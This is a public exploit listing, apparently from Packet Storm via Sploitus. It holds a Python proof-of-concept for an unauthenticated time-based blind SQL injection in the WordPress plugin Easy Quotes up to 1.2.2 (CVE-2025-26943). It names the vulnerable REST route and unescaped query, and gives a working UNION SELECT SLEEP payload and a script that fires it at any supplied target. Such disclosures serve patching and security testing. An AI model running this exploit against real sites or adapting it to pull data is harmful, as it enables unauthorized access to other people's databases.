Share
## https://sploitus.com/exploit?id=PACKETSTORM:226445
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Easy Quotes <= 1.2.2 - Unauthenticated Time-Based Blind SQL Injection (REST)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/easy-quotes/
    # Software Link: https://downloads.wordpress.org/plugin/easy-quotes.1.2.2.zip
    # Version: 1.2.2 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-26943
    r"""
    Easy Quotes <= 1.2.2 registers REST routes under layart/v1 with permission_callback => __return_true
    (includes/quotes-rest-route.php:25). GET /wp-json/layart/v1/font-variants?family=<x> passes `family`
    (read via $request->get_param, which WP REST delivers UNSLASHED) straight into a query with no
    escaping/prepare (includes/quotes-data.php:302):
    
        return $wpdb->get_row("SELECT * FROM `{$tablename}` WHERE `family`='".$family."';");
    
    -> unauthenticated SQL injection in a single-quoted string. The families table has 5 columns, so a
    5-column UNION SELECT executes an injected SLEEP() exactly once.
    
    Payload: x' UNION SELECT SLEEP(5),2,3,4,5-- -
    
    Prior state: none โ€” the plugin creates and seeds its font tables on activation.
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def probe(base, seconds):
        inj = "x' UNION SELECT SLEEP(%d),2,3,4,5-- -" % seconds
        q = "family=" + urllib.parse.quote(inj)
        t = time.time()
        requests.get(base + "/wp-json/layart/v1/font-variants?" + q, verify=False, timeout=60)
        return time.time() - t
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        # The first request after a fresh plugin activation can spend several seconds
        # initializing/seeding plugin data.  Do not use that cold-start latency as the
        # control sample for a time-based oracle.
        probe(base, 0)
        t0 = min(probe(base, 0), probe(base, 0))
        t5 = probe(base, args.sleep)
        print(f"[*] Target: {base}")
        print(f"[*] SLEEP(0): {t0:.2f}s | SLEEP({args.sleep}): {t5:.2f}s")
        if (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” unauthenticated attacker-controlled SLEEP({args.sleep}) "
                  f"delayed the REST response by {t5 - t0:.2f}s (family param).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())